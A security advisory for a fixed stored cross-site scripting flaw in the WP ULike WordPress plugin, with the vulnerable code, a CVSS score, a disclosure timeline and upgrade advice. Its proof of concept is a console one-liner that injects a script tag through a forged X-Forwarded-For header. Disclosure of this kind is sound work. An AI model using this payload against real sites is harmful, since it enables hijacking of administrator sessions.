Stored XSS in WP ULike allows unauthorised users to do almost anything an admin can


Last revised:

The plugin’s default configuration (after pressing “Save Changes” on the settings page) allows unauthenticated users to “like” posts. It fetches the user’s IP like this:

        function wp_ulike_get_real_ip() {
                if (getenv('HTTP_CLIENT_IP')) {
                        $ip = getenv('HTTP_CLIENT_IP');
                } elseif (getenv('HTTP_X_FORWARDED_FOR')) {
                        $ip = getenv('HTTP_X_FORWARDED_FOR');
                } elseif (getenv('HTTP_X_FORWARDED')) {
                        $ip = getenv('HTTP_X_FORWARDED');
                } elseif (getenv('HTTP_FORWARDED_FOR')) {
                        $ip = getenv('HTTP_FORWARDED_FOR');
                } elseif (getenv('HTTP_FORWARDED')) {
                        $ip = getenv('HTTP_FORWARDED');
                } else {
                        $ip = $_SERVER['REMOTE_ADDR'];

                return $ip;

This will be incorrect in many situations. The header (which could be an IP address, or it could be an arbitrary string provided by the user) is stored in the database. Then it’s displayed to the admin without being escaped.

Current state: Fixed

CVSS Summary

CVSS base scores for this vulnerability
Score 6.4 Medium
Vector Network
Complexity Low
Authentication None
Confidentiality Partial
Integrity Partial
Availability None
You can read more about CVSS base scores on Wikipedia or in the CVSS specification.

Proof of concept

  1. Enable the plugin
  2. Visit /wp-admin/admin.php?page=wp-ulike-settings and press Save Settings
  3. Sign out
  4. Visit a post displaying a like button
  5. Open the console
  6. Paste and execute this: var d=document.querySelector('.wpulike-default a').dataset;jQuery.ajax('/wp-admin/admin-ajax.php', {method: 'POST', headers: {'X-Forwarded-For': '<script>alert(1)</script>'},data: {action: 'wp_ulike_process', id: d.ulikeId, status: d.ulikeStatus, type: d.ulikeType, nonce: d.ulikeNonce}})
  7. Sign in
  8. Visit /wp-admin/admin.php?page=wp-ulike-post-logs

Advisory timeline

  • 2017-10-18: Discovered
  • 2018-04-16: Reported to plugin author via contact form
  • 2018-04-23: Vendor reported fixed in 3.2 (first reply)
  • 2018-05-14: Advisory published
  • 2018-06-07: CVE requested
  • 2018-06-23: CVE assigned

Mitigation/further actions

Upgrade to version 3.2 or later.